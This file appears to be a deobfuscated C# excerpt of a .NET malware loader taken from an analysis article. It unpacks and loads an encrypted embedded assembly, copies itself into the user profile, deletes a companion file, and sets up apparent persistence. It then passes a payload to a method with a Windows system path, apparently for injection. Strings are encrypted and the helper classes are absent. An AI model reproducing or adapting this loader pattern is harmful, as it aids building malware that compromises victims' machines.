dotnet_malware_article_deobfuscated.cs

private static void pwS3x7Sg(string[] args) {
	Assembly executingAssembly = Assembly.GetExecutingAssembly();
	byte[] xnnXVZCo = rYChEj24.m861PYDG(executingAssembly);
	byte[] xnnXVZCo2 = rYChEj24.Q8sHxNtH(executingAssembly);
	Assembly assembly = Assembly.Load(rYChEj24.ygv4ageb(xnnXVZCo2));
	string a = DFsEYbtO.smethod_1(293);
	string a2 = DFsEYbtO.smethod_1(302);
	string location = Assembly.GetEntryAssembly().Location;
	string text = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + DFsEYbtO.smethod_1(311) + Path.GetFileName(location);
	if (a2 == DFsEYbtO.smethod_1(316) && !File.Exists(text)) {
		File.Copy(location, text);
		rYChEj24.DeleteFile(text + DFsEYbtO.smethod_1(268));
	}
	if (a == DFsEYbtO.smethod_1(325)) {
		if (a2 == DFsEYbtO.smethod_1(359)) {
			rYChEj24.gmGuUUHA(DFsEYbtO.smethod_1(334), text);
		} else {
			rYChEj24.gmGuUUHA(DFsEYbtO.smethod_1(368), location);
		}
	}
	try {
		foreach (Type type in assembly.GetExportedTypes()) {
			object target = Activator.CreateInstance(type);
			string text2 = Environment.GetFolderPath(Environment.SpecialFolder.Windows) + DFsEYbtO.smethod_1(402);
			if (!File.Exists(text2)) {
				text2 = rYChEj24.smethod_0(text2);
			}
			type.InvokeMember(DFsEYbtO.smethod_1(467), BindingFlags.InvokeMethod, null, target, new object[]
			{
				text2,
				DFsEYbtO.smethod_1(472),
				rYChEj24.ygv4ageb(xnnXVZCo),
				true
			});
			if (a == DFsEYbtO.smethod_1(473)) {
				a2 == DFsEYbtO.smethod_1(393);
			}
		}
	}
	catch {}
}